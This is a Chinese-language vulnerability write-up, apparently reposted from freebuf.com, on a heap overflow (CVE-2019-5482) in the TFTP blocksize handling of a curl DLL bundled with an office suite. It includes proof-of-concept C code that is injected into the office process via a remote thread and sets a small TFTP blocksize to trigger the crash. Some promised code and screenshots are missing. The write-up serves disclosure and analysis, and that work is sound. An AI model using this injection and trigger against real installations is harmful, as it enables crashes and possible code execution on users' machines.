漏洞说明
产品:某办公软件 校园版
文件:curls.dll(7.64.1.0)
漏洞类型:堆溢出
漏洞函数:0x10042f25、0x10043744
漏洞分析
curl官方于2019年确认了该漏洞,同时分配了cve-2019-5482编号。该漏洞是由于客户端在设置TFTP协议的blocksize参数不当,设置了小于默认值的blocksize,这使得在后续接受服务端数据时产生堆溢出。存在漏洞的源代码位于curl库中的tftp.c中,如下:


漏洞复现
需要编写独立的dll程序来在该办公软件进程空间内部获取curls.dll的句柄,进而得到特定的导出函数,如curl_easy_init、curl_easy_setopt、curl_easy_perform、curl_easy_cleanup。随后在远端监听udp 69端口,并将一个大文件指向该端口用于传输首次的tftp协议交互内容,在win7上通过创建远程线程的方式让该办公软件加载我们编写好的dll即可触发该漏洞。代码如下:
HANDLE curldll = GetModuleHandleA("curls.dll");
const char* testftpurl = "tftp://192.168.44.147/test.txt";
typedef CURLcode (myeasycurl)(CURL* data, CURLoption tag,...);
typedef void* curlinit(void);
typedef CURLcode curleasyperform(CURL* data);
typedef void curleasycleanup(CURL* data);
curlinit* myinit;
myeasycurl* mycurl;
curleasyperform* myperform;
curleasycleanup* mycleanup;
mycurl = (myeasycurl*)GetProcAddress((HMODULE)curldll, "curl_easy_setopt");
myinit = (curlinit*)GetProcAddress((HMODULE)curldll, "curl_easy_init");
myperform = (curleasyperform*)GetProcAddress((HMODULE)curldll, "curl_easy_perform");
mycleanup = (curleasycleanup*)GetProcAddress((HMODULE)curldll, "curl_easy_cleanup");
CURL* curl;
CURLcode res;
curl = (CURL*)myinit();
mycurl(curl,CURLOPT_URL,testftpurl);
mycurl(curl, CURLOPT_TFTP_BLKSIZE, 20);
res = myperform(curl);
mycleanup(curl);
接下来利用windbg附加***office.exe程序,利用注入工具将我们的dll加载到***office中,触发tftp请求,随后产生如下错误:
可以看出是堆相关的错误,由于堆溢出造成了已经free的堆的头部遭到了破坏,而在申请堆时会对堆头进行检查,如果检查没有通过则会抛出异常,最终导致应用程序崩溃,如果是经过精心构造的数据,也可能会造成任意代码执行。在相关的函数下断后,观察申请到的堆块如下:

修复建议
直接升级到curl官方的最新版,因为该版本下还有多个高危漏洞。
漏洞演示
来源:freebuf.com 2020-09-07 09:54:58 by: 极光无限SZ


